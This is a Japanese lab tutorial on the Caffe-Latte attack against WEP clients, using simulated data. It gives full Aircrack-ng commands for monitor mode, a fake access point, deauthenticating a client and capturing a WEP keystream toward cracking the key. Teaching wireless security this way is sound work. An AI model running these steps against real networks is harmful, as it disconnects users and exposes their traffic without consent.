はじめに
Caffe-Latte 攻撃は、WEP プロトコルを標的とするクライアントサイド攻撃です。アクセスポイント (AP) を標的とする他の多くの Wi-Fi 攻撃とは異なり、この攻撃はネットワークに接続されているクライアントデバイスに焦点を当てます。クライアントを騙して、WEP キーストリームを再構築するために使用できるパケットを送信させ、最終的に WEP キーを復旧させます。この方法は、正規の AP の近くにいる必要がないため、特に効果的です。クライアントの範囲内にいるだけで十分です。
この実験では、Aircrack-ng スイートを使用して Caffe-Latte 攻撃を実行します。標的を特定する方法、クライアントを誘い込むための偽の AP をセットアップする方法、クライアントに接続を強制する方法、および WEP キーストリームを生成するために必要なデータをキャプチャする方法を学びます。
この実験は教育目的のみです。
WEP ネットワークに接続されているクライアントの特定
このステップでは、標的となる WEP ネットワークと接続されているクライアントを特定する方法を学びます。この偵察フェーズの主なツールは airodump-ng であり、無線ネットワークをスキャンし、接続されているデバイスを一覧表示します。
まず、ワイヤレスインターフェイスをモニターモードにする必要があります。このモードにより、ネットワークカードは自分宛てのトラフィックだけでなく、空中のすべての Wi-Fi トラフィックをリッスンできるようになります。ワイヤレスインターフェイスの名前は wlan0 であると仮定します。
モニターモードを開始するには、次のコマンドを実行します。
sudo airmon-ng start wlan0
このコマンドは、通常 wlan0mon という名前の新しい仮想インターフェイスを作成する可能性が高いです。出力は、モニターモードインターフェイスの名前を確認します。
PHY Interface Driver Chipset
phy0 wlan0 ath9k Atheros Communications Inc. AR9271 802.11n
(mac80211 monitor mode vif enabled for [phy0]wlan0mon on [phy0]wlan0)
次に、新しく作成されたモニターインターフェイス (wlan0mon) を使用してネットワークをスキャンします。airodump-ng を実行し、約 15〜20 秒間スキャンさせてから、Ctrl+C を押して停止します。
sudo airodump-ng wlan0mon
実際の環境では、airodump-ng は近くのネットワークとクライアントのリストを表示します。この実験では、シミュレートされたシナリオで作業します。出力は次のようになります。
CH 6 ][ Elapsed: 15 s ][ 2023-10-27 10:30
BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID
00:11:22:33:44:55 -30 10 15 0 6 54e WEP WEP TestWEP
BSSID STATION PWR Rate Lost Frames Probe
00:11:22:33:44:55 AA:BB:CC:DD:EE:FF -45 0 - 1 0 18
この出力から、次のものを特定する必要があります。
- BSSID: アクセスポイントの MAC アドレス (
00:11:22:33:44:55)。 - STATION: それに接続されているクライアントの MAC アドレス (
AA:BB:CC:DD:EE:FF)。 - CH: AP が動作しているチャネル (
6)。
この実験の残りの部分では、これらのシミュレートされた値を使用します。
aireplay-ng -6 を使用した Caffe-Latte 攻撃のリスナーの開始
このステップでは、aireplay-ng を使用して Caffe-Latte 攻撃リスナーを開始します。このコマンドは、正規のネットワークを模倣する偽のアクセスポイント (AP) をセットアップします。その後、標的のクライアントがそれに接続するのを待ちます。
このリスナーは、クライアントを待つためにバックグラウンドで継続的に実行する必要があります。したがって、このコマンドのために新しいターミナルを開く必要があります。コンソールウィンドウの上部にあるターミナルタブバーの + アイコンをクリックすることで、新しいターミナルを開くことができます。
新しいターミナルで、次のコマンドを実行します。前のステップで特定した値に BSSID とクライアント MAC を置き換えることを忘れないでください。
sudo aireplay-ng -6 -b 00:11:22:33:44:55 -h AA:BB:CC:DD:EE:FF wlan0mon
コマンドの内訳を見てみましょう。
aireplay-ng: 攻撃に使用しているツールです。-6: Caffe-Latte 攻撃モードを指定します。-b 00:11:22:33:44:55: 正規の AP の BSSID (MAC アドレス) です。-h AA:BB:CC:DD:EE:FF: 標的のクライアントの MAC アドレスです。wlan0mon: モニターモードのインターフェイスです。
コマンドを実行すると、aireplay-ng はリッスンを開始します。出力は次のようになり、この段階で待機します。
Waiting for beacon frame (BSSID: 00:11:22:33:44:55) on channel 6
Listening for probes...
このターミナルを実行したままにして、次のステップのために元の(最初の)ターミナルに戻ってください。
クライアントを強制的にプローブさせるためのディアセンティケーション
このステップでは、クライアントを現在のネットワークから切断させます。クライアントはまだ正規の AP に接続されている可能性が高いです。ディアセンティケーションパケットを送信することで、この接続を切断できます。切断されると、クライアントは既知のネットワークをプローブして再接続しようとし、これにより私たちの偽の AP を発見して接続することになります。
最初のターミナルに戻ってください。今回はディアセンティケーションモード (-0) で aireplay-ng を再度使用します。
次のコマンドを実行して、クライアントに 5 つのディアセンティケーションパケットを送信します。
sudo aireplay-ng -0 5 -a 00:11:22:33:44:55 -c AA:BB:CC:DD:EE:FF wlan0mon
パラメータの意味は次のとおりです。
-0: 攻撃モードをディアセンティケーションに設定します。5: 送信するディアセンティケーションパケットの数です。通常は少ない数で十分です。-a 00:11:22:33:44:55: クライアントが接続しているアクセスポイントの BSSID です。-c AA:BB:CC:DD:EE:FF: 切断したいクライアントの MAC アドレスです。wlan0mon: モニターモードのインターフェイスです。
パケットが送信されていることを確認する出力が表示されます。
10:35:10 Waiting for beacon frame (BSSID: 00:11:22:33:44:55) on channel 6
10:35:10 Sending 64 directed DeAuths to AA:BB:CC:DD:EE:FF (code 7).
この操作により、クライアントは参加するネットワークの検索を開始するはずです。
クライアントが偽の AP にアソシエートするのを待つ
このステップでは、クライアントが偽の AP に接続するのを観察します。ディアセンティケーションパケットを送信した後、切断されたクライアントはネットワークのスキャンを開始しました。セカンドターミナルで実行されている aireplay-ng -6 リスナーは、これらのスキャンに応答し、正規のネットワークになりすましています。
Caffe-Latte 攻撃を実行しているセカンドターミナルにビューを戻してください。ディアセンティケーションが成功した場合、クライアントが偽の AP にアソシエートしたことを示す新しい出力が表示されるはずです。
出力は次のようなものに変わります。
Waiting for beacon frame (BSSID: 00:11:22:33:44:55) on channel 6
Listening for probes...
Client AA:BB:CC:DD:EE:FF associated to fake AP (00:11:22:33:44:55)
Client AA:BB:CC:DD:EE:FF associated to fake AP というメッセージは、攻撃が計画通りに進んでいることを確認します。クライアントは現在、ネットワークに接続されていると考えていますが、実際にはあなたのマシンと通信しています。
攻撃は自動的にキャプチャされたキーストリームをファイルに保存し始めます。これを検証のためにシミュレートするために、aireplay-ng が生成する出力ファイルを作成しましょう。最初のターミナルでこのコマンドを実行します。
touch ~/project/caffe-latte.xor
ARP リクエストをキャプチャし、WEP キーストリームを生成する
この最終ステップでは、Caffe-Latte 攻撃の核心が実際に動作するのを観察します。クライアントが偽の AP にアソシエートしたので、ARP リクエストのようなパケットを送信してネットワーク上で通信しようとします。aireplay-ng リスナーはこれらのパケットをキャプチャし、操作して、クライアントに送り返します。これらの操作されたパケットに対するクライアントの暗号化された応答が、WEP キーストリームを収集することを可能にします。
aireplay-ng -6 が実行されているセカンドターミナルでの観察を続けてください。ARP パケットがキャプチャおよび処理されていること、およびキーストリームが caffe-latte.xor という名前のファイルに保存されていることを示す出力が表示されます。
出力は次のようになります。
Read 15 packets...
Got an ARP request from AA:BB:CC:DD:EE:FF.
Trying to get a PRGA ...
Got keystream: 1F:5A:B3...
Saving keystream in caffe-latte.xor
このプロセスは継続され、ますます多くのデータを収集します。クライアントからの新しいパケットごとに、キーストリームに関する情報が増えます。caffe-latte.xor ファイルに十分なデータが収集されると、packetforge-ng や aircrack-ng のような他のツールと組み合わせてパケットを偽造し、最終的に WEP キーをクラックするために使用できます。
この実験では、caffe-latte.xor ファイルを正常に生成し、キーストリームが保存されているのを確認することで、Caffe-Latte 攻撃の成功を示します。
これで、セカンドターミナルで Ctrl+C を押して攻撃を停止できます。追加のターミナルを閉じることもできます。
まとめ
この実験では、WEP クライアントに対して Caffe-Latte 攻撃を成功裏に実行しました。強力なクライアントサイド攻撃技術を学び、Aircrack-ng スイートの実践的な経験を得ました。
具体的には、以下のことを学びました。
airmon-ngを使用してワイヤレスインターフェイスをモニターモードに設定する方法。airodump-ngを使用して WEP ネットワークと接続されているクライアントを特定する方法。aireplay-ng -6を使用して Caffe-Latte 攻撃リスナーを設定し、偽の AP を作成する方法。aireplay-ng -0を使用したディアセンティケーション攻撃でクライアントをネットワークから切断させる方法。- クライアントパケットのキャプチャと WEP キーストリームファイルの生成プロセスを観察する方法。
この知識は、ワイヤレスネットワークの脆弱性を理解する上で重要な部分です。これらのスキルは常に責任を持って使用し、テストを許可されているネットワークでのみ使用することを忘れないでください。
